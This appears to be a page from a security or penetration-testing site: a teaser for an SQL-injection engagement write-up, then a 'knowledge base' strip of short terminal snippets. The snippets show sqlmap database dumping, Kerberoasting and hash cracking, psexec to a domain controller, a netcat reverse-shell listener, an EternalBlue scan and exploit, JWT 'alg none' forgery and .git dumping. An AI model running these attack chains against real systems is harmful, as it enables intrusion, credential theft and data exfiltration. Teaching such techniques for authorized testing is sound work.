SQL Injection to Full Database Compromise
A walkthrough of a real-world engagement where a seemingly minor SQLi vulnerability led to complete database exfiltration and lateral movement.
READ MORE
03 — KNOWLEDGE BASE
$ sqlmap -u "target/login" --dbs available databases: [+] information_schema [+] production_db $ dump --table users [+] 4821 entries extracted
$ GetUserSPNs.py corp/user ServicePrincipalName: HTTP/app $ hashcat -m 13100 hash.txt [+] P@ssw0rd123 CRACKED $ psexec.py admin@dc01
$ python3 exploit.py --target htb [*] Sending payload... [*] WAF bypass: SUCCESS $ nc -lvnp 4444 [+] Connection received [+] whoami: root
$ nmap -sV --script vuln 10.0.0.0/24 [*] Scanning 254 hosts... [+] 10.0.0.12: EternalBlue [+] 10.0.0.47: MS17-010 $ use exploit/ms17_010_eternalblue
$ burpsuite --intercept on [*] Analyzing JWT tokens... alg: none [VULNERABLE] $ forge-token --alg none --role admin [+] Access granted: admin panel
$ ffuf -w wordlist -u /FUZZ [+] /.git/config [200] [+] /api/v1/admin [403] $ gitdumper.sh target/.git [+] Source code recovered